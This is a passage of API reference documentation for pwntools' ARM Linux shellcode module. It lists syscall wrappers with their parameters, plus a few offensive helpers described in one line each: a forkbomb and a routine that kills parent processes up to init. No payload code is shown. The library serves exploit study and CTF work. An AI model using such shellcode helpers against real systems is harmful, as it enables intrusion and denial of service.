- **fd** (*int*) – fd
- **cmd** (*int*) – cmd
- **vararg** (*int*) – vararg

pwnlib.shellcraft.arm.linux.**fdatasync**(*fildes*)

Invokes the syscall fdatasync. See 'man 2 fdatasync' for more information.

Parameters **fildes** (*int*) – fildes

pwnlib.shellcraft.arm.linux.**flock**(*fd*, *operation*)

Invokes the syscall flock. See 'man 2 flock' for more information.

Parameters

- **fd** (*int*) – fd
- **operation** (*int*) – operation

pwnlib.shellcraft.arm.linux.**fork**()

Invokes the syscall fork. See 'man 2 fork' for more information.

Arguments:

pwnlib.shellcraft.arm.linux.**forkbomb**()

Performs a forkbomb attack.

pwnlib.shellcraft.arm.linux.**forkexit**()

Attempts to fork. If the fork is successful, the parent exits.

pwnlib.shellcraft.arm.linux.**fstat**(*fd*, *buf*)

Invokes the syscall fstat. See 'man 2 fstat' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (stat) – buf

pwnlib.shellcraft.arm.linux.**fstat64**(*fd*, *buf*)

Invokes the syscall fstat64. See 'man 2 fstat64' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (stat64) – buf

pwnlib.shellcraft.arm.linux.**fstatat64**(*fd*, *file*, *buf*, *flag*)

Invokes the syscall fstatat64. See 'man 2 fstatat64' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **buf** (*stat64*) – buf
- **flag** (*int*) – flag

`pwnlib.shellcraft.arm.linux.`**`fsync`**(*fd*)

Invokes the syscall fsync. See 'man 2 fsync' for more information.

Parameters **fd** (*int*) – fd

`pwnlib.shellcraft.arm.linux.`**`ftruncate`**(*fd*, *length*)

Invokes the syscall ftruncate. See 'man 2 ftruncate' for more information.

Parameters

- **fd** (*int*) – fd
- **length** (*off_t*) – length

`pwnlib.shellcraft.arm.linux.`**`ftruncate64`**(*fd*, *length*)

Invokes the syscall ftruncate64. See 'man 2 ftruncate64' for more information.

Parameters

- **fd** (*int*) – fd
- **length** (*off64_t*) – length

`pwnlib.shellcraft.arm.linux.`**`futimesat`**(*fd*, *file*, *tvp*)

Invokes the syscall futimesat. See 'man 2 futimesat' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **tvp** (*timeval*) – tvp

`pwnlib.shellcraft.arm.linux.`**`getcwd`**(*buf*, *size*)

Invokes the syscall getcwd. See 'man 2 getcwd' for more information.

Parameters

- **buf** (*char*) – buf
- **size** (*size_t*) – size

`pwnlib.shellcraft.arm.linux.`**`getdents`**(*fd*, *dirp*, *count*)

Invokes the syscall getdents. See 'man 2 getdents' for more information.

Parameters

- **fd** (*int*) – fd
- **dirp** (*int*) – dirp
- **count** (*int*) – count

`pwnlib.shellcraft.arm.linux.`**`getegid`**()

Invokes the syscall getegid. See 'man 2 getegid' for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.`**`geteuid`**`()`

Invokes the syscall geteuid. See 'man 2 geteuid' for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.`**`getgid`**`()`

Invokes the syscall getgid. See 'man 2 getgid' for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.`**`getgroups`**`(`*size*, *list*`)`

Invokes the syscall getgroups. See 'man 2 getgroups' for more information.

Parameters

- **size** (*int*) – size
- **list** (*gid_t*) – list

`pwnlib.shellcraft.arm.linux.`**`getitimer`**`(`*which*, *value*`)`

Invokes the syscall getitimer. See 'man 2 getitimer' for more information.

Parameters

- **which** (*itimer_which_t*) – which
- **value** (*itimerval*) – value

`pwnlib.shellcraft.arm.linux.`**`getpeername`**`(`*fd*, *addr*, *length*`)`

Invokes the syscall getpeername. See 'man 2 getpeername' for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

`pwnlib.shellcraft.arm.linux.`**`getpgid`**`(`*pid*`)`

Invokes the syscall getpgid. See 'man 2 getpgid' for more information.

Parameters **pid** (*pid_t*) – pid

`pwnlib.shellcraft.arm.linux.`**`getpgrp`**`()`

Invokes the syscall getpgrp. See 'man 2 getpgrp' for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.`**`getpid`**`()`

Invokes the syscall getpid. See 'man 2 getpid' for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.`**`getpmsg`**`(`*fildes*, *ctlptr*, *dataptr*, *bandp*, *flagsp*`)`

Invokes the syscall getpmsg. See 'man 2 getpmsg' for more information.

Parameters

- **fildes** (*int*) – fildes
- **ctlptr** (*strbuf*) – ctlptr
- **dataptr** (*strbuf*) – dataptr
- **bandp** (*int*) – bandp
- **flagsp** (*int*) – flagsp

`pwnlib.shellcraft.arm.linux.`**`getppid`**`()`

Invokes the syscall getppid. See 'man 2 getppid' for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.`**`getpriority`**`(`*which*, *who*`)`

Invokes the syscall getpriority. See 'man 2 getpriority' for more information.

Parameters

- **`which`** (*`priority_which_t`*) – which
- **`who`** (*`id_t`*) – who

`pwnlib.shellcraft.arm.linux.`**`getresgid`**`(`*rgid*, *egid*, *sgid*`)`

Invokes the syscall getresgid. See 'man 2 getresgid' for more information.

Parameters

- **`rgid`** (*`gid_t`*) – rgid
- **`egid`** (*`gid_t`*) – egid
- **`sgid`** (*`gid_t`*) – sgid

`pwnlib.shellcraft.arm.linux.`**`getresuid`**`(`*ruid*, *euid*, *suid*`)`

Invokes the syscall getresuid. See 'man 2 getresuid' for more information.

Parameters

- **`ruid`** (*`uid_t`*) – ruid
- **`euid`** (*`uid_t`*) – euid
- **`suid`** (*`uid_t`*) – suid

`pwnlib.shellcraft.arm.linux.`**`getrlimit`**`(`*resource*, *rlimits*`)`

Invokes the syscall getrlimit. See 'man 2 getrlimit' for more information.

Parameters

- **`resource`** (*`rlimit_resource_t`*) – resource
- **`rlimits`** (*`rlimit`*) – rlimits

`pwnlib.shellcraft.arm.linux.`**`getrusage`**`(`*who*, *usage*`)`

Invokes the syscall getrusage. See 'man 2 getrusage' for more information.

Parameters

- **`who`** (*`rusage_who_t`*) – who
- **`usage`** (*`rusage`*) – usage

`pwnlib.shellcraft.arm.linux.`**`getsid`**`(`*pid*`)`

Invokes the syscall getsid. See 'man 2 getsid' for more information.

Parameters **`pid`** (*`pid_t`*) – pid

`pwnlib.shellcraft.arm.linux.`**`getsockname`**`(`*fd*, *addr*, *length*`)`

Invokes the syscall getsockname. See 'man 2 getsockname' for more information.

Parameters

- **`fd`** (*`int`*) – fd
- **`addr`** (*`SOCKADDR_ARG`*) – addr
- **`len`** (*`socklen_t`*) – len

pwnlib.shellcraft.arm.linux.**getsockopt** (*fd*, *level*, *optname*, *optval*, *optlen*)

Invokes the syscall getsockopt. See 'man 2 getsockopt' for more information.

Parameters

- **fd** (*int*) – fd
- **level** (*int*) – level
- **optname** (*int*) – optname
- **optval** (*void*) – optval
- **optlen** (*socklen_t*) – optlen

pwnlib.shellcraft.arm.linux.**gettimeofday** (*tv*, *tz*)

Invokes the syscall gettimeofday. See 'man 2 gettimeofday' for more information.

Parameters

- **tv** (*timeval*) – tv
- **tz** (*timezone_ptr_t*) – tz

pwnlib.shellcraft.arm.linux.**getuid** ()

Invokes the syscall getuid. See 'man 2 getuid' for more information.

Arguments:

pwnlib.shellcraft.arm.linux.**gtty** (*fd*, *params*)

Invokes the syscall gtty. See 'man 2 gtty' for more information.

Parameters

- **fd** (*int*) – fd
- **params** (*sgttyb*) – params

pwnlib.shellcraft.arm.linux.**ioctl** (*fd*, *request*, *vararg*)

Invokes the syscall ioctl. See 'man 2 ioctl' for more information.

Parameters

- **fd** (*int*) – fd
- **request** (*unsigned*) – request
- **vararg** (*int*) – vararg

pwnlib.shellcraft.arm.linux.**ioperm** (*from_*, *num*, *turn_on*)

Invokes the syscall ioperm. See 'man 2 ioperm' for more information.

Parameters

- **from** (*unsigned*) – from
- **num** (*unsigned*) – num
- **turn_on** (*int*) – turn_on

pwnlib.shellcraft.arm.linux.**iopl** (*level*)

Invokes the syscall iopl. See 'man 2 iopl' for more information.

Parameters **level** (*int*) – level

pwnlib.shellcraft.arm.linux.**kill** (*pid*, *sig*)

Invokes the syscall kill. See 'man 2 kill' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **sig** (*int*) – sig

pwnlib.shellcraft.arm.linux.**killparent**()
Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

pwnlib.shellcraft.arm.linux.**lchown**(*file*, *owner*, *group*)
Invokes the syscall lchown. See 'man 2 lchown' for more information.

Parameters

- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

pwnlib.shellcraft.arm.linux.**link**(*from_*, *to*)
Invokes the syscall link. See 'man 2 link' for more information.

Parameters

- **from** (*char*) – from
- **to** (*char*) – to

pwnlib.shellcraft.arm.linux.**linkat**(*fromfd*, *from_*, *tofd*, *to*, *flags*)
Invokes the syscall linkat. See 'man 2 linkat' for more information.

Parameters

- **fromfd** (*int*) – fromfd
- **from** (*char*) – from
- **tofd** (*int*) – tofd
- **to** (*char*) – to
- **flags** (*int*) – flags

pwnlib.shellcraft.arm.linux.**listen**(*fd*, *n*)
Invokes the syscall listen. See 'man 2 listen' for more information.

Parameters

- **fd** (*int*) – fd
- **n** (*int*) – n

pwnlib.shellcraft.arm.linux.**lseek**(*fd*, *offset*, *whence*)
Invokes the syscall lseek. See 'man 2 lseek' for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off_t*) – offset
- **whence** (*int*) – whence

pwnlib.shellcraft.arm.linux.**lstat**(*file*, *buf*)
Invokes the syscall lstat. See 'man 2 lstat' for more information.

Parameters

- **file** (*char*) – file

- **buf** (*stat*) – buf

`pwnlib.shellcraft.arm.linux.`**`lstat64`**(*file*, *buf*)
Invokes the syscall lstat64. See 'man 2 lstat64' for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat64*) – buf

`pwnlib.shellcraft.arm.linux.`**`madvise`**(*addr*, *length*, *advice*)
Invokes the syscall madvise. See 'man 2 madvise' for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len
- **advice** (*int*) – advice

`pwnlib.shellcraft.arm.linux.`**`mincore`**(*start*, *length*, *vec*)
Invokes the syscall mincore. See 'man 2 mincore' for more information.

Parameters

- **start** (*void*) – start
- **len** (*size_t*) – len
- **vec** (*unsigned*) – vec

`pwnlib.shellcraft.arm.linux.`**`mkdir`**(*path*, *mode*)
Invokes the syscall mkdir. See 'man 2 mkdir' for more information.

Parameters

- **path** (*char*) – path
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.arm.linux.`**`mkdirat`**(*fd*, *path*, *mode*)
Invokes the syscall mkdirat. See 'man 2 mkdirat' for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.arm.linux.`**`mknod`**(*path*, *mode*, *dev*)
Invokes the syscall mknod. See 'man 2 mknod' for more information.

Parameters

- **path** (*char*) – path
- **mode** (*mode_t*) – mode
- **dev** (*dev_t*) – dev

`pwnlib.shellcraft.arm.linux.`**`mknodat`**(*fd*, *path*, *mode*, *dev*)
Invokes the syscall mknodat. See 'man 2 mknodat' for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **mode** (*mode_t*) – mode
- **dev** (*dev_t*) – dev

pwnlib.shellcraft.arm.linux.**mlock**(*addr*, *length*)
Invokes the syscall mlock. See 'man 2 mlock' for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

pwnlib.shellcraft.arm.linux.**mlockall**(*flags*)
Invokes the syscall mlockall. See 'man 2 mlockall' for more information.

Parameters **flags** (*int*) – flags

pwnlib.shellcraft.arm.linux.**mmap**(*addr=0*, *length=4096*, *prot=7*, *flags=34*, *fd=-1*, *offset=0*)
Invokes the syscall mmap. See 'man 2 mmap' for more information.

Parameters

- **addr** (*void*) – addr
- **length** (*size_t*) – length
- **prot** (*int*) – prot
- **flags** (*int*) – flags
- **fd** (*int*) – fd
- **offset** (*off_t*) – offset

pwnlib.shellcraft.arm.linux.**mprotect**(*addr*, *length*, *prot*)
Invokes the syscall mprotect. See 'man 2 mprotect' for more information.

Parameters

- **addr** (*void*) – addr
- **length** (*size_t*) – length
- **prot** (*int*) – prot

pwnlib.shellcraft.arm.linux.**mq_notify**(*mqdes*, *notification*)
Invokes the syscall mq_notify. See 'man 2 mq_notify' for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **notification** (*sigevent*) – notification

pwnlib.shellcraft.arm.linux.**mq_open**(*name*, *oflag*, *vararg*)
Invokes the syscall mq_open. See 'man 2 mq_open' for more information.

Parameters

- **name** (*char*) – name
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

pwnlib.shellcraft.arm.linux.**mq_timedreceive**(*mqdes*, *msg_ptr*, *msg_len*, *msg_prio*, *abs_timeout*)

Invokes the syscall mq_timedreceive. See 'man 2 mq_timedreceive' for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **msg_ptr** (*char*) – msg_ptr
- **msg_len** (*size_t*) – msg_len
- **msg_prio** (*unsigned*) – msg_prio
- **abs_timeout** (*timespec*) – abs_timeout

pwnlib.shellcraft.arm.linux.**mq_timedsend**(*mqdes*, *msg_ptr*, *msg_len*, *msg_prio*, *abs_timeout*)

Invokes the syscall mq_timedsend. See 'man 2 mq_timedsend' for more information.

Parameters

- **mqdes** (*mqd_t*) – mqdes
- **msg_ptr** (*char*) – msg_ptr
- **msg_len** (*size_t*) – msg_len
- **msg_prio** (*unsigned*) – msg_prio
- **abs_timeout** (*timespec*) – abs_timeout

pwnlib.shellcraft.arm.linux.**mq_unlink**(*name*)

Invokes the syscall mq_unlink. See 'man 2 mq_unlink' for more information.

Parameters **name** (*char*) – name

pwnlib.shellcraft.arm.linux.**mremap**(*addr*, *old_len*, *new_len*, *flags*, *vararg*)

Invokes the syscall mremap. See 'man 2 mremap' for more information.

Parameters

- **addr** (*void*) – addr
- **old_len** (*size_t*) – old_len
- **new_len** (*size_t*) – new_len
- **flags** (*int*) – flags
- **vararg** (*int*) – vararg

pwnlib.shellcraft.arm.linux.**msync**(*addr*, *length*, *flags*)

Invokes the syscall msync. See 'man 2 msync' for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len
- **flags** (*int*) – flags

pwnlib.shellcraft.arm.linux.**munlock**(*addr*, *length*)

Invokes the syscall munlock. See 'man 2 munlock' for more information.

Parameters

- **addr** (*void*) – addr

- **len** (*size_t*) – len

pwnlib.shellcraft.arm.linux.**munlockall**()

Invokes the syscall munlockall. See 'man 2 munlockall' for more information.

Arguments:

pwnlib.shellcraft.arm.linux.**munmap**(*addr*, *length*)

Invokes the syscall munmap. See 'man 2 munmap' for more information.

Parameters

- **addr** (*void*) – addr
- **length** (*size_t*) – length

pwnlib.shellcraft.arm.linux.**nanosleep**(*requested_time*, *remaining*)

Invokes the syscall nanosleep. See 'man 2 nanosleep' for more information.

Parameters

- **requested_time** (*timespec*) – requested_time
- **remaining** (*timespec*) – remaining

pwnlib.shellcraft.arm.linux.**nice**(*inc*)

Invokes the syscall nice. See 'man 2 nice' for more information.

Parameters **inc** (*int*) – inc

pwnlib.shellcraft.arm.linux.**open**(*file*, *oflag*, *vararg*)

Invokes the syscall open. See 'man 2 open' for more information.

Parameters

- **file** (*char*) – file
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

pwnlib.shellcraft.arm.linux.**open_file**(*filepath*, *flags='O_RDONLY'*, *mode=420*)

Opens a file. Leaves the file descriptor in r0.

Parameters

- **filepath** (*str*) – The file to open.
- **flags** (*int/str*) – The flags to call open with.
- **mode** (*int/str*) – The attribute to create the flag. Only matters of `flags & O_CREAT` is set.

pwnlib.shellcraft.arm.linux.**openat**(*fd*, *file*, *oflag*, *vararg*)

Invokes the syscall openat. See 'man 2 openat' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

pwnlib.shellcraft.arm.linux.**pause**()

Invokes the syscall pause. See 'man 2 pause' for more information.

Arguments:

pwnlib.shellcraft.arm.linux.**pipe**(*pipedes*)

Invokes the syscall pipe. See 'man 2 pipe' for more information.

Parameters **pipedes** (*int*) – pipedes

pwnlib.shellcraft.arm.linux.**pipe2**(*pipedes*, *flags*)

Invokes the syscall pipe2. See 'man 2 pipe2' for more information.

Parameters

- **pipedes** (*int*) – pipedes
- **flags** (*int*) – flags

pwnlib.shellcraft.arm.linux.**poll**(*fds*, *nfds*, *timeout*)

Invokes the syscall poll. See 'man 2 poll' for more information.

Parameters

- **fds** (*pollfd*) – fds
- **nfds** (*nfds_t*) – nfds
- **timeout** (*int*) – timeout

pwnlib.shellcraft.arm.linux.**ppoll**(*fds*, *nfds*, *timeout*, *ss*)

Invokes the syscall ppoll. See 'man 2 ppoll' for more information.

Parameters

- **fds** (*pollfd*) – fds
- **nfds** (*nfds_t*) – nfds
- **timeout** (*timespec*) – timeout
- **ss** (*sigset_t*) – ss

pwnlib.shellcraft.arm.linux.**prctl**(*option*, **vararg*)

Invokes the syscall prctl. See 'man 2 prctl' for more information.

Parameters

- **option** (*int*) – option
- **vararg** (*int*) – vararg

pwnlib.shellcraft.arm.linux.**pread**(*fd*, *buf*, *nbytes*, *offset*)

Invokes the syscall pread. See 'man 2 pread' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes
- **offset** (*off_t*) – offset

pwnlib.shellcraft.arm.linux.**preadv**(*fd*, *iovec*, *count*, *offset*)

Invokes the syscall preadv. See 'man 2 preadv' for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count
- **offset** (*off_t*) – offset

pwnlib.shellcraft.arm.linux.**prlimit64** (*pid*, *resource*, *new_limit*, *old_limit*)

Invokes the syscall prlimit64. See 'man 2 prlimit64' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **resource** (*rlimit_resource*) – resource
- **new_limit** (*rlimit64*) – new_limit
- **old_limit** (*rlimit64*) – old_limit

pwnlib.shellcraft.arm.linux.**profil** (*sample_buffer*, *size*, *offset*, *scale*)

Invokes the syscall profil. See 'man 2 profil' for more information.

Parameters

- **sample_buffer** (*unsigned*) – sample_buffer
- **size** (*size_t*) – size
- **offset** (*size_t*) – offset
- **scale** (*unsigned*) – scale

pwnlib.shellcraft.arm.linux.**ptrace** (*request*, **vararg*)

Invokes the syscall ptrace. See 'man 2 ptrace' for more information.

Parameters

- **request** (*ptrace_request*) – request
- **vararg** (*int*) – vararg

pwnlib.shellcraft.arm.linux.**putpmsg** (*fildes*, *ctlptr*, *dataptr*, *band*, *flags*)

Invokes the syscall putpmsg. See 'man 2 putpmsg' for more information.

Parameters

- **fildes** (*int*) – fildes
- **ctlptr** (*strbuf*) – ctlptr
- **dataptr** (*strbuf*) – dataptr
- **band** (*int*) – band
- **flags** (*int*) – flags

pwnlib.shellcraft.arm.linux.**pwrite** (*fd*, *buf*, *n*, *offset*)

Invokes the syscall pwrite. See 'man 2 pwrite' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **offset** (*off_t*) – offset

pwnlib.shellcraft.arm.linux.**pwritev**(*fd*, *iovec*, *count*, *offset*)

Invokes the syscall pwritev. See 'man 2 pwritev' for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count
- **offset** (*off_t*) – offset

pwnlib.shellcraft.arm.linux.**read**(*fd*, *buf*, *nbytes*)

Invokes the syscall read. See 'man 2 read' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes

pwnlib.shellcraft.arm.linux.**readahead**(*fd*, *offset*, *count*)

Invokes the syscall readahead. See 'man 2 readahead' for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off64_t*) – offset
- **count** (*size_t*) – count

pwnlib.shellcraft.arm.linux.**readdir**(*dirp*)

Invokes the syscall readdir. See 'man 2 readdir' for more information.

Parameters **dirp** (*DIR*) – dirp

pwnlib.shellcraft.arm.linux.**readlink**(*path*, *buf*, *length*)

Invokes the syscall readlink. See 'man 2 readlink' for more information.

Parameters

- **path** (*char*) – path
- **buf** (*char*) – buf
- **len** (*size_t*) – len

pwnlib.shellcraft.arm.linux.**readlinkat**(*fd*, *path*, *buf*, *length*)

Invokes the syscall readlinkat. See 'man 2 readlinkat' for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **buf** (*char*) – buf
- **len** (*size_t*) – len

pwnlib.shellcraft.arm.linux.**readv**(*fd*, *iovec*, *count*)

Invokes the syscall readv. See 'man 2 readv' for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count

pwnlib.shellcraft.arm.linux.**recv**(*fd*, *buf*, *n*, *flags*)
Invokes the syscall recv. See 'man 2 recv' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **flags** (*int*) – flags

pwnlib.shellcraft.arm.linux.**recvfrom**(*fd*, *buf*, *n*, *flags*, *addr*, *addr_len*)
Invokes the syscall recvfrom. See 'man 2 recvfrom' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **flags** (*int*) – flags
- **addr** (*SOCKADDR_ARG*) – addr
- **addr_len** (*socklen_t*) – addr_len

pwnlib.shellcraft.arm.linux.**recvmmsg**(*fd*, *vmessages*, *vlen*, *flags*, *tmo*)
Invokes the syscall recvmmsg. See 'man 2 recvmmsg' for more information.

Parameters

- **fd** (*int*) – fd
- **vmessages** (*mmsghdr*) – vmessages
- **vlen** (*unsigned*) – vlen
- **flags** (*int*) – flags
- **tmo** (*timespec*) – tmo

pwnlib.shellcraft.arm.linux.**recvmsg**(*fd*, *message*, *flags*)
Invokes the syscall recvmsg. See 'man 2 recvmsg' for more information.

Parameters

- **fd** (*int*) – fd
- **message** (*msghdr*) – message
- **flags** (*int*) – flags

pwnlib.shellcraft.arm.linux.**remap_file_pages**(*start*, *size*, *prot*, *pgoff*, *flags*)
Invokes the syscall remap_file_pages. See 'man 2 remap_file_pages' for more information.

Parameters

- **start** (*void*) – start
- **size** (*size_t*) – size

- **prot** (*int*) – prot
- **pgoff** (*size_t*) – pgoff
- **flags** (*int*) – flags

`pwnlib.shellcraft.arm.linux.`**`rename`**(*old*, *new*)

Invokes the syscall rename. See 'man 2 rename' for more information.

Parameters

- **old** (*char*) – old
- **new** (*char*) – new

`pwnlib.shellcraft.arm.linux.`**`renameat`**(*oldfd*, *old*, *newfd*, *new*)

Invokes the syscall renameat. See 'man 2 renameat' for more information.

Parameters

- **oldfd** (*int*) – oldfd
- **old** (*char*) – old
- **newfd** (*int*) – newfd
- **new** (*char*) – new

`pwnlib.shellcraft.arm.linux.`**`rmdir`**(*path*)

Invokes the syscall rmdir. See 'man 2 rmdir' for more information.

Parameters **path** (*char*) – path

`pwnlib.shellcraft.arm.linux.`**`sched_get_priority_max`**(*algorithm*)

Invokes the syscall sched_get_priority_max. See 'man 2 sched_get_priority_max' for more information.

Parameters **algorithm** (*int*) – algorithm

`pwnlib.shellcraft.arm.linux.`**`sched_get_priority_min`**(*algorithm*)

Invokes the syscall sched_get_priority_min. See 'man 2 sched_get_priority_min' for more information.

Parameters **algorithm** (*int*) – algorithm

`pwnlib.shellcraft.arm.linux.`**`sched_getaffinity`**(*pid*, *cpusetsize*, *cpuset*)

Invokes the syscall sched_getaffinity. See 'man 2 sched_getaffinity' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **cpusetsize** (*size_t*) – cpusetsize
- **cpuset** (*cpu_set_t*) – cpuset

`pwnlib.shellcraft.arm.linux.`**`sched_getparam`**(*pid*, *param*)

Invokes the syscall sched_getparam. See 'man 2 sched_getparam' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **param** (*sched_param*) – param

`pwnlib.shellcraft.arm.linux.`**`sched_getscheduler`**(*pid*)

Invokes the syscall sched_getscheduler. See 'man 2 sched_getscheduler' for more information.

Parameters **pid** (*pid_t*) – pid

pwnlib.shellcraft.arm.linux.**sched_rr_get_interval**(*pid*, *t*)
Invokes the syscall sched_rr_get_interval. See 'man 2 sched_rr_get_interval' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **t** (*timespec*) – t

pwnlib.shellcraft.arm.linux.**sched_setaffinity**(*pid*, *cpusetsize*, *cpuset*)
Invokes the syscall sched_setaffinity. See 'man 2 sched_setaffinity' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **cpusetsize** (*size_t*) – cpusetsize
- **cpuset** (*cpu_set_t*) – cpuset

pwnlib.shellcraft.arm.linux.**sched_setparam**(*pid*, *param*)
Invokes the syscall sched_setparam. See 'man 2 sched_setparam' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **param** (*sched_param*) – param

pwnlib.shellcraft.arm.linux.**sched_setscheduler**(*pid*, *policy*, *param*)
Invokes the syscall sched_setscheduler. See 'man 2 sched_setscheduler' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **policy** (*int*) – policy
- **param** (*sched_param*) – param

pwnlib.shellcraft.arm.linux.**sched_yield**()
Invokes the syscall sched_yield. See 'man 2 sched_yield' for more information.

Arguments:

pwnlib.shellcraft.arm.linux.**select**(*nfds*, *readfds*, *writefds*, *exceptfds*, *timeout*)
Invokes the syscall select. See 'man 2 select' for more information.

Parameters

- **nfds** (*int*) – nfds
- **readfds** (*fd_set*) – readfds
- **writefds** (*fd_set*) – writefds
- **exceptfds** (*fd_set*) – exceptfds
- **timeout** (*timeval*) – timeout

pwnlib.shellcraft.arm.linux.**sendfile**(*out_fd*, *in_fd*, *offset*, *count*)
Invokes the syscall sendfile. See 'man 2 sendfile' for more information.

Parameters

- **out_fd** (*int*) – out_fd
- **in_fd** (*int*) – in_fd

- **offset** (*off_t*) – offset
- **count** (*size_t*) – count

`pwnlib.shellcraft.arm.linux.`**`sendfile64`**(*out_fd*, *in_fd*, *offset*, *count*)

Invokes the syscall sendfile64. See 'man 2 sendfile64' for more information.

Parameters

- **out_fd** (*int*) – out_fd
- **in_fd** (*int*) – in_fd
- **offset** (*off64_t*) – offset
- **count** (*size_t*) – count

`pwnlib.shellcraft.arm.linux.`**`setdomainname`**(*name*, *length*)

Invokes the syscall setdomainname. See 'man 2 setdomainname' for more information.

Parameters

- **name** (*char*) – name
- **len** (*size_t*) – len

`pwnlib.shellcraft.arm.linux.`**`setgid`**(*gid*)

Invokes the syscall setgid. See 'man 2 setgid' for more information.

Parameters **gid** (*gid_t*) – gid

`pwnlib.shellcraft.arm.linux.`**`setgroups`**(*n*, *groups*)

Invokes the syscall setgroups. See 'man 2 setgroups' for more information.

Parameters

- **n** (*size_t*) – n
- **groups** (*gid_t*) – groups

`pwnlib.shellcraft.arm.linux.`**`sethostname`**(*name*, *length*)

Invokes the syscall sethostname. See 'man 2 sethostname' for more information.

Parameters

- **name** (*char*) – name
- **len** (*size_t*) – len

`pwnlib.shellcraft.arm.linux.`**`setitimer`**(*which*, *new*, *old*)

Invokes the syscall setitimer. See 'man 2 setitimer' for more information.

Parameters

- **which** (*itimer_which_t*) – which
- **new** (*itimerval*) – new
- **old** (*itimerval*) – old

`pwnlib.shellcraft.arm.linux.`**`setpgid`**(*pid*, *pgid*)

Invokes the syscall setpgid. See 'man 2 setpgid' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **pgid** (*pid_t*) – pgid

`pwnlib.shellcraft.arm.linux.`**`setpriority`**(*which*, *who*, *prio*)

Invokes the syscall setpriority. See 'man 2 setpriority' for more information.

Parameters

- **which** (*priority_which_t*) – which
- **who** (*id_t*) – who
- **prio** (*int*) – prio

`pwnlib.shellcraft.arm.linux.`**`setregid`**(*rgid*, *egid*)

Invokes the syscall setregid. See 'man 2 setregid' for more information.

Parameters

- **rgid** (*gid_t*) – rgid
- **egid** (*gid_t*) – egid

`pwnlib.shellcraft.arm.linux.`**`setresgid`**(*rgid*, *egid*, *sgid*)

Invokes the syscall setresgid. See 'man 2 setresgid' for more information.

Parameters

- **rgid** (*gid_t*) – rgid
- **egid** (*gid_t*) – egid
- **sgid** (*gid_t*) – sgid

`pwnlib.shellcraft.arm.linux.`**`setresuid`**(*ruid*, *euid*, *suid*)

Invokes the syscall setresuid. See 'man 2 setresuid' for more information.

Parameters

- **ruid** (*uid_t*) – ruid
- **euid** (*uid_t*) – euid
- **suid** (*uid_t*) – suid

`pwnlib.shellcraft.arm.linux.`**`setreuid`**(*ruid*, *euid*)

Invokes the syscall setreuid. See 'man 2 setreuid' for more information.

Parameters

- **ruid** (*uid_t*) – ruid
- **euid** (*uid_t*) – euid

`pwnlib.shellcraft.arm.linux.`**`setrlimit`**(*resource*, *rlimits*)

Invokes the syscall setrlimit. See 'man 2 setrlimit' for more information.

Parameters

- **resource** (*rlimit_resource_t*) – resource
- **rlimits** (*rlimit*) – rlimits

`pwnlib.shellcraft.arm.linux.`**`setsid`**()

Invokes the syscall setsid. See 'man 2 setsid' for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.`**`setsockopt`**(*sockfd*, *level*, *optname*, *optval*, *optlen*)

Invokes the syscall setsockopt. See 'man 2 setsockopt' for more information.

Parameters

- **sockfd** (*int*) – sockfd
- **level** (*int*) – level
- **optname** (*int*) – optname
- **optval** (*void*) – optval
- **optlen** (*int*) – optlen

pwnlib.shellcraft.arm.linux.**setsockopt_timeout**(*sock*, *secs*)

Invokes the syscall for setsockopt with specified timeout. See 'man 2 setsockopt' for more information.

Parameters

- **sock** (*int*) – sock
- **secs** (*int*) – secs

